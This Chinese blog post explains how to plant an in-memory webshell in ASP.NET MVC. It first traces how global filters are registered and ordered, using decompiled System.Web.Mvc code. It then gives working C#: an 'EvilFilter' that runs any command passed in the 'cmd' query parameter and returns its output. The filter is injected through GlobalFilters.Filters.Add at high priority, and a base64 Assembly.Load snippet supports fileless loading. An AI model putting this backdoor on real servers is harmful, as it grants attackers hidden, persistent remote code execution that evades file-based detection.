Net MVC内存马

Net MVC内存马

前言

在浏览论坛时候看到几篇关于Net 内存马的文章,引发我的好奇心,随手调了一下。

结构分析

按照Java内存马的思路,来跟踪NET中的Filter注册流程。

创建了一个mvc项目看到MvcApplication类中

namespace WebApplication3
{
    public class MvcApplication : System.Web.HttpApplication
    {
        protected void Application_Start()
        {
            AreaRegistration.RegisterAllAreas();
            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
            RouteConfig.RegisterRoutes(RouteTable.Routes);
            BundleConfig.RegisterBundles(BundleTable.Bundles);
        }
    }
}

MvcApplication 中会FilterConfig加载进来。

FilterConfig类中配置了所有需要加载的Filter。

通过GlobalFilterCollection的Add方法进行将filter对象进行添加。

namespace System.Web.Mvc
{
    //
    // 摘要:
    //     表示一个包含所有全局筛选器的类。
    public sealed class GlobalFilterCollection : IEnumerable<Filter>, IEnumerable, IFilterProvider
    {
        //
        // 摘要:
        //     初始化 System.Web.Mvc.GlobalFilterCollection 类的新实例。
        public GlobalFilterCollection();

        //
        // 摘要:
        //     获取全局筛选器集合中的筛选器数目。
        //
        // 返回结果:
        //     全局筛选器集合中的筛选器数目。
        public int Count { get; }

        //
        // 摘要:
        //     向全局筛选器集合添加指定筛选器。
        //
        // 参数:
        //   filter:
        //     筛选器。
        public void Add(object filter);
        //
        // 摘要:
        //     使用指定的筛选器运行顺序向全局筛选器集合添加指定筛选器。
        //
        // 参数:
        //   filter:
        //     筛选器。
        //
        //   order:
        //     筛选器运行顺序。
        public void Add(object filter, int order);
        //
        // 摘要:
        //     从全局筛选器集合删除所有筛选器。
        public void Clear();
        //
        // 摘要:
        //     确定某筛选器是否在全局筛选器集合中。
        //
        // 参数:
        //   filter:
        //     筛选器。
        //
        // 返回结果:
        //     如果在全局筛选器集合中找到 filter,则为 true;否则为 false。
        public bool Contains(object filter);
        //
        // 摘要:
        //     返回循环访问全局筛选器集合的枚举器。
        //
        // 返回结果:
        //     循环访问全局筛选器集合的枚举器。
        public IEnumerator<Filter> GetEnumerator();
        //
        // 摘要:
        //     删除与指定筛选器匹配的所有筛选器。
        //
        // 参数:
        //   filter:
        //     要删除的筛选器。
        public void Remove(object filter);
    }
}

其中有2个add方法,两个参数的方法,第二个参数是设置Filter的执行优先级。

首先让我们看FilterProviders.cs,该类为Filter提供注册点

using System;

namespace System.Web.Mvc
{
	// Token: 0x020000C6 RID: 198
	public static class FilterProviders
	{
		// Token: 0x06000533 RID: 1331 RVA: 0x0000E9D4 File Offset: 0x0000CBD4
		static FilterProviders()
		{
			FilterProviders.Providers.Add(GlobalFilters.Filters);
			FilterProviders.Providers.Add(new FilterAttributeFilterProvider());
			FilterProviders.Providers.Add(new ControllerInstanceFilterProvider());
		}

		public static FilterProviderCollection Providers { get; private set; } = new FilterProviderCollection();
	}
}

FilterAttributeFilterProvider代码

namespace System.Web.Mvc
{
	// Token: 0x020000C3 RID: 195
	public class FilterAttributeFilterProvider : IFilterProvider
	{
		// Token: 0x06000520 RID: 1312 RVA: 0x0000E489 File Offset: 0x0000C689
		public FilterAttributeFilterProvider() : this(true)
		{
		}

		// Token: 0x06000521 RID: 1313 RVA: 0x0000E492 File Offset: 0x0000C692
		public FilterAttributeFilterProvider(bool cacheAttributeInstances)
		{
			this._cacheAttributeInstances = cacheAttributeInstances;
		}

		// Token: 0x06000522 RID: 1314 RVA: 0x0000E4A1 File Offset: 0x0000C6A1
		protected virtual IEnumerable<FilterAttribute> GetActionAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
		{
			return actionDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
		}

		// Token: 0x06000523 RID: 1315 RVA: 0x0000E4AF File Offset: 0x0000C6AF
		protected virtual IEnumerable<FilterAttribute> GetControllerAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
		{
			return actionDescriptor.ControllerDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
		}

		// Token: 0x06000524 RID: 1316 RVA: 0x0000E770 File Offset: 0x0000C970
		public virtual IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
		{
			if (controllerContext.Controller != null)
			{
				foreach (FilterAttribute attr in this.GetControllerAttributes(controllerContext, actionDescriptor))
				{
					yield return new Filter(attr, FilterScope.Controller, null);
				}
				foreach (FilterAttribute attr2 in this.GetActionAttributes(controllerContext, actionDescriptor))
				{
					yield return new Filter(attr2, FilterScope.Action, null);
				}
			}
			yield break;
		}

		// Token: 0x04000164 RID: 356
		private readonly bool _cacheAttributeInstances;
	}
}

该类中有几个方法分别获取Filter、Controller、Action等特性集合

public IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
		{
			if (controllerContext == null)
			{
				throw new ArgumentNullException("controllerContext");
			}
			if (actionDescriptor == null)
			{
				throw new ArgumentNullException("actionDescriptor");
			}
			IFilterProvider[] combinedItems = this.CombinedItems;
			List<Filter> list = new List<Filter>();
			foreach (IFilterProvider filterProvider in combinedItems)
			{
				foreach (Filter item in filterProvider.GetFilters(controllerContext, actionDescriptor))
				{
					list.Add(item);
				}
			}
			list.Sort(FilterProviderCollection._filterComparer);
			if (list.Count > 1)
			{
				FilterProviderCollection.RemoveDuplicates(list);
			}
			return list;
		}

遍历combinedItems值获取IFilterProvider接口实例化对象,调用list.Sort进行排序

System.Web.Mvc.FilterProviderCollection$FilterComparer

private class FilterComparer : IComparer<Filter>
		{
			// Token: 0x06000531 RID: 1329 RVA: 0x0000E96C File Offset: 0x0000CB6C
			public int Compare(Filter x, Filter y)
			{
				if (x == null && y == null)
				{
					return 0;
				}
				if (x == null)
				{
					return -1;
				}
				if (y == null)
				{
					return 1;
				}
				if (x.Order < y.Order)
				{
					return -1;
				}
				if (x.Order > y.Order)
				{
					return 1;
				}
				if (x.Scope < y.Scope)
				{
					return -1;
				}
				if (x.Scope > y.Scope)
				{
					return 1;
				}
				return 0;
			}

对比2个Filter的Order值和Scope值。

可见先调用的IAuthorizationFilter.OnAuthorization

可见IAuthorizationFilter优先级要高一些

//IAuthorizationFilter调用
 AuthorizationContext authContext = InvokeAuthorizationFilters(controllerContext, filterInfo.AuthorizationFilters, actionDescriptor)
 
 //IActionFilter调用
 ActionExecutedContext postActionContext = InvokeActionMethodWithFilters(controllerContext, filterInfo.ActionFilters, actionDescriptor, parameters);

//IResultFilter调用
 InvokeActionResultWithFilters(controllerContext, filterInfo.ResultFilters, postActionContext.Result);

 //IExceptionFilter调用
ExceptionContext exceptionContext = InvokeExceptionFilters(controllerContext, filterInfo.ExceptionFilters, ex);

构造

与Java一直,继承IAuthorizationFilter接口,在OnAuthorization方法中构造马的内容。然后调用GlobalFilters.Filters.add方法将继承IAuthorizationFilter接口类的实例化对象也就是构造的内存马传递进去。

比较懒代码直接写到了Controller里面进行执行注入内存马。

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Mvc;

namespace WebApplication3.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            GlobalFilters.Filters.Add(new EvilFilter(), -2);
        
            return View();
        }
    public class EvilFilter : IAuthorizationFilter
    {
        public void OnAuthorization(AuthorizationContext filterContext)
        {
            HttpRequestBase request = filterContext.HttpContext.Request;
            HttpResponseBase response = filterContext.HttpContext.Response;
            string cmd = request.QueryString["cmd"];
            if (cmd != null)
            {

                Process process = new Process();
                process.StartInfo.FileName = cmd;
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.Start();
                byte[] data = Encoding.UTF8.GetBytes(process.StandardOutput.ReadToEnd() + process.StandardError.ReadToEnd());
                response.Write(System.Text.Encoding.Default.GetString(data));
            }

            else
            {
                response.Write("null");
            }

        }
    }
}

与Java一致 NET也可以将以上EvilFilter这个恶意的Filter编译成dll,然后编码后进行加载。

System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String("Filter base64字符"));

assembly.CreateInstance(assembly.GetTypes()[0].FullName,)

但只能在mvc下使用,因为GlobalFiltersIAuthorizationFilter需要System.Web.Mvc.dll依赖,在面对Webform的情况下无法使用。

参考

ASP.NET下的内存马(1) filter内存马

聊聊新类型ASPXCSharp

Asp.net MVC源码分析--Filter种类以及调用优先级

posted @ 2022-02-12 02:29  nice_0e3  阅读(653)  评论(0编辑  收藏  举报